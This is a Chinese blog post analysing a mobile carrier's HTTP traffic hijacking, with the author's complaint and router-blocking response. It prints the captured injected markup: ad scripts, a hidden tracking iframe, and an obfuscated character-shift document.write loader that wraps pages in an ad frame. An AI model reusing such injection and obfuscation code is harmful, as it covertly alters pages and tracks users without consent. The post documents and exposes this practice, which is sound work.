IT技术博客 - 云计算大数据-技术分享

本站域名目前不进行商业运作。

运营商丧心病狂的流量劫持

2021-1-18 . 网络相关

被劫持的网页在手机端显示起来是这样的:

1.jpg


页面中间的浮标和页面下方的开红包图标都明显不是原始网站投放的广告。这种劫持行为一般在手机浏览器上刷新一下就暂时没有了,但很多情况下会碰到运营商插入的广告导致移动端网页布局出现异常,无法正常使用。


劫持情况分析
由于直接在 PC 端打开被劫持的网址很可能不会出现被插入广告的情况,模拟手机浏览器 user agent 也要碰运气才能出现,因此我直接使用 Android Chrome 浏览器的远程调试功能来进行分析。
打开 Android 的 USB 调试功能,通过数据线连接电脑,在 PC 端 Chrome 浏览器上进入:chrome://inspect/#devices 就能看到连接上的 Android 手机上 Chrome 浏览器打开的标签页,为了方便调试和安利给大家,我使用的是直接基于 Chrome 的 Chromebook 设备:

2.png



点击标签页下方的 inspect 按钮就可以远程调试了。
在 Elements 调试界面可以看到运营商在网页 </body> 结束之前插入了两个 div:tuia-fubiao 和 tuia-customer,更恶心的是下面还加了一个隐藏的 iframe。

3.png



不过看了被劫持之后实际的网页源代码你才能感受到移动宽带的丧心病狂
首先网页 <head> 标签之后就插入了奇奇怪怪的广告代码:
<html lang="zh-CN" prefix="og: http://ogp.me/ns#" class=" js rgba borderradius boxshadow textshadow opacity cssanimations cssgradients csstransitions fontface generatedcontent video audio js"> 
<!-- BEGIN head --> 
<head> 
<script src="https://engine.tuia.cn/api/v1/activity/spm4web?type=0&amp;adslot_id=1180&amp;app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&amp;activity_id=3000000024%2C3613&amp;ua=Mozilla%2F5.0%20(Linux%3B%20Android%206.0.1%3B%20ASUS_Z00AD%20Build%2FMMB29P)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F57.0.2987.132%20Mobile%20Safari%2F537.36&amp;os_type=&amp;device_id=QjotWKjhRBHLKsYJlCzM1493608315747&amp;token=1493608315732&amp;time=1493608316137&amp;wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&amp;spm_id=34J8hJmWWs5CArNgfbjAzReG2hRK1VQvIKrTPbIdBvb0xx871493608316140&amp;callback=jsonp_0q7no0fhvv36mq9" async=""></script> 
<script src="https://engine.tuia.cn/api/v1/activity/spm4web?type=0&amp;adslot_id=927&amp;app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&amp;activity_id=2000000418&amp;ua=Mozilla%2F5.0%20(Linux%3B%20Android%206.0.1%3B%20ASUS_Z00AD%20Build%2FMMB29P)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F57.0.2987.132%20Mobile%20Safari%2F537.36&amp;os_type=&amp;device_id=QjotWKjhRBHLKsYJlCzM1493608315747&amp;token=1493608315756&amp;time=1493608316119&amp;wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&amp;spm_id=34J8hJmWWs5CArNgfbjAzReG2hRKTkxmCuzebbLxiPLAaf0S1493608316129&amp;callback=jsonp_w4rcxsrtl47vpid" async=""></script> 
<script src="https://engine.tuia.cn/api/v1/activity/get4web?request_id=34J8hJmWWs5CArNgfbjAzReG2hRKKtfJakUIBYbHCqfburmv1493608315757&amp;api_version=1.0.0&amp;app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&amp;app_version=1.0.0&amp;app_package=&amp;adslot_id=927&amp;device_type=&amp;os_type=&amp;os_info=&amp;vendor=&amp;model=&amp;screen_size=360*640&amp;device_id=QjotWKjhRBHLKsYJlCzM1493608315747&amp;connection_type=&amp;operator_type=&amp;cellular_id=&amp;ap_mac=&amp;rssi=&amp;ap_name=&amp;wifi_type=&amp;hotspot_type=&amp;geolocation=true&amp;coordinate_type=&amp;longitude=&amp;latitude=&amp;timestamp=&amp;token=1493608315756&amp;time=1493608315756&amp;wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&amp;callback=jsonp_9lyfpalx27d62fk" async=""></script> 
<script src="https://engine.tuia.cn/api/v1/activity/get4web?request_id=34J8hJmWWs5CArNgfbjAzReG2hRKl2K0dtAdcAFOYVPamLi11493608315743&amp;api_version=1.0.0&amp;app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&amp;app_version=1.0.0&amp;app_package=&amp;adslot_id=1180&amp;device_type=&amp;os_type=&amp;os_info=&amp;vendor=&amp;model=&amp;screen_size=360*640&amp;device_id=QjotWKjhRBHLKsYJlCzM1493608315747&amp;connection_type=&amp;operator_type=&amp;cellular_id=&amp;ap_mac=&amp;rssi=&amp;ap_name=&amp;wifi_type=&amp;hotspot_type=&amp;geolocation=true&amp;coordinate_type=&amp;longitude=&amp;latitude=&amp;timestamp=&amp;token=1493608315732&amp;time=1493608315737&amp;wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&amp;callback=jsonp_5jm97edzjaj18j0" async=""></script> 



移动宽带在 <head> 的网站原有 script 脚本中间还硬插了一段:
<script src="http://112.4.23.122:8848/a_zdyjs.js?aorlu=aHR0cDovL3d3dy5jbGI2LmNvbS5jbi94bWxrZXkvaHRtbC9keXNqL28tdHQtdGFqcy5qcw==&amp;adid=360523&amp;tcca=MTM5NTE3NzE2NjU=&amp;urip=100.65.241.248&amp;stpt=0&amp;edpt=0&amp;orlu=aHR0cDovL2Jsb2cuam9iYm9sZS5jb20vMTExMDM4Lw==&amp;spid=176150497705350&amp;area=0&amp;motn=1477554323&amp;saas=134352896&amp;p7arm=1&amp;p8arm=0&amp;psad=3232268039&amp;atid=1&amp;paat=0&amp;aaid=0&amp;isaa=0&amp;envs=0&amp;ckts=1493608314&amp;type=2&amp;teid=65459&amp;acst=1&amp;swvi=5277681751310447" type="text/javascript"></script> 



连 CSS 也别想幸免,</head> 结束也插入了一段,这里的 CSS 代码太长我就不全部贴出来了:
<style type="text/css"> 
#tuia-customer{position:fixed;bottom:0;left:0;width:100%;} 
#tuia-fubiao{position: fixed;right: 7.5px;top: 250px;overflow: initial;width: 75px; height: 75px; z-index: 2147483647;} 
</style> 
<style type="text/css"> 
.tuia-media{position:relative;overflow:hidden;width:100%;max-width:100%} 
.tuia-media,.tuia-media *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} 
.tuia-media .tuia-media-close{position:absolute;top:0;right:0;width:22.5px;height:22.5px;background-image:url(//yun.duiba.com.cn/static/jssdk/e9fa2ce7753ea10e0425f4c7e71d941b.png);background-repeat:no-repeat;background-position:100% 0;-webkit-background-size:15px 15px;background-size:15px 15px} 
</style> 
...... 


至于 </body> 结束之前插入的广告代码是这样的:
<!-- END html --> 
<div id="tuia-fubiao"> 
<div class="tuia-media" id="TuiaMediaID_1493608316134"><div class="tuia-media-close" style="background-image:url(https://yun.duiba.com.cn/upload/4UyUC1480924005775.png)"></div> 
<img class="tuia-media-pic" src="https://yun.duiba.com.cn/tuia-media/img/82ejm1th2s.gif"> 
</div> 
</div> 
<div id="tuia-customer"> 
<div class="tuia-media" id="TuiaMediaID_1493608316116"><img class="tuia-media-pic" src="https://yun.duiba.com.cn/tuia-media/img/qhszjuf9kr.gif"></div> 
</div> 
<script src="http://yun.duiba.com.cn/static/jssdk/media-2.2.2.min.js"></script> 
<div style="display: none;"> 
<iframe src="http://www.clb6.com.cn/xmlkey/stat.html?zym=s95&amp;sid=1261769958" width="0" height="0"></iframe> 
</div> 
</body> 
</html> 




面对这样被改的面目全非的网页源代码,我简直是无语到极点。移动宽带为了插广告使用这种下作的劫持方式,也难怪手机浏览器上很容易碰到被劫持后一些移动版网站显示错乱的问题了。

另一种流量劫持
另外使用移动宽带在手机端上网还可能碰到一种比较常见和看起来稍微「良心」一点的劫持方式。


这是我用 Android Chrome 浏览器访问 少数派 网站时碰到的劫持情况,被劫持的网页代码变成这样:
<html> 
<head> 
<script>var d="=iunm?=ifbe?=0ifbe?=cpez!je>#c#!tuzmf>#pwfsgmpx.z;!ijeefo<#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=0cpez?=tdsjqu!tsd>#iuuq;00223/5/34/233;99590b`ig`cpuupn/kt@beje>471494'uddb>NUN6OUF4O{F3OkV>'vsjq>211/76/352/359'tuqu>1'fequ>1'psmv>bIS1dEpwM4O{dHGqMnOwcT:1ZXdwZX6ldn:q[B>>'bpsmv>bIS1dEpwM4e4ez6kcHJ3MnOwcT6kcj:5cX";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="ys[YlwbISucD:lfYOrM39ueIRuNT6peH2t'tqje>287275596954112'bsfb>1'q2bsn>86'q3bsn>1'q4bsn>1'q5bsn>6'q6bsn>4'q7bsn>2'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1'npuo>2588665434'tbbt>2454639:7'q8bsn>2'q9bsn>1'qtbe>434337914:'buje>2'qbbu>1'bbje>1'jtbb>1'fowt>1'dlut>25:4745::6'uzqf>3'ufje>7656:'bdtu>2'txwj>6388792862421558#?=0tdsjqu?=0iunm?";document.write(i(d,c));</script> 
</head> 
<body id="b" style="overflow-y: hidden;" rightmargin="0" topmargin="0" leftmargin="0" scroll="no"> 
<div id="a" style="border:0px;overflow:hidden;position:absolute;bottom:0px;width:100%;height:75"> 
<iframe src="http://www.clb6.com.cn/xmlkey/html/dysj/o-tt-1.html?spid=176164485843001" width="100%" height="100%" frameborder="0" scrolling="no"></iframe> 
<iframe src="http://112.4.23.122:8848/a/spd?adid=360383&amp;tcca=MTM5NTE3NzE2NjU=&amp;urip=100.65.241.248&amp;stpt=0&amp;edpt=0&amp;orlu=aHR0cDovL3NzcGFpLmNvbS90YWcvYW5kcm9pZA==&amp;aorlu=aHR0cDovL3d3dy5jbGI2LmNvbS5jbi94bWxrZXkvaHRtbC9keXNqL28tdHQtMS5odG1s&amp;spid=176164485843001&amp;area=0&amp;p1arm=75&amp;p2arm=0&amp;p3arm=0&amp;p4arm=5&amp;p5arm=3&amp;p6arm=1&amp;appd=0&amp;hasCount=0&amp;hasWhiteUser=0&amp;motn=1477554323&amp;saas=134352896&amp;p7arm=1&amp;p8arm=0&amp;psad=3232268039&amp;atid=1&amp;paat=0&amp;aaid=0&amp;isaa=0&amp;envs=0&amp;ckts=1493634995&amp;type=2&amp;teid=65459&amp;acst=1&amp;swvi=5277681751310447&amp;usgt=TW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBBU1VTX1owMEFEIEJ1aWxkL01NQjI5UCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCUyQyBsaWtlIEdlY2tvKSBDaHJvbWUvNTcuMC4yOTg3LjEzMiBNb2JpbGUgU2FmYXJpLzUzNy4zNg==&amp;pushFlag=1" style="display:none"></iframe> 
<img id="close" onclick="closeAd()" alt="Close" src="http://112.4.23.122:8848/close.gif" style="position:absolute;right:5px;top:5px;overflow:hidden;border:1px solid;border-color:white;background-color:#EFF7FE;width:12px;height:10px;font-family:System;cursor:hand;z-index:9999;"> 
</div> 
<div id="c" style="border:0px;overflow:hidden;width:100%;height:100%"> 
<iframe name="cn" src="http://sspai.com/tag/android?t=1493634994258" frameborder="0" width="100%" height="100%" scrolling="auto"></iframe> 
</div> 
</body> 
</html> 

这是最常见的 iframe 劫持方式,外面的广告代码套上源网站,只能说好歹还没有直接魔改源网站的代码,另外插入的广告代码同样来自 112.4.23.122 这个 IP 地址。


查询之后发现该 IP 地址是:江苏省南京市 全省共用出口移动,很明显这些流量劫持行为是为利益驱使而做的。

后续处理
发现移动宽带的流量劫持行为之后,我首先与移动联系进行了投诉,不出所料移动客服又是一番先坚决不承认然后让提供技术证明的节奏,直到我威胁要投诉到工信部,移动才表态愿意处理此问题。

投诉之后的十几天手机访问一些 HTTP 的网站确实没见到广告劫持了,然而好景不长,前些天又在手机上看到了插入的广告,无奈我先在路由器上直接屏蔽了劫持代码中的 IP 地址和网站域名,而且最近马上要搬家换住处了,可能也不会继续用移动宽带了,因此就没有兴趣继续跟进此事咯。

最好的应对方式还是希望众多网站能尽快切换到全站 HTTPS 。

标签: 广告 运营商 流量劫持 丧心病狂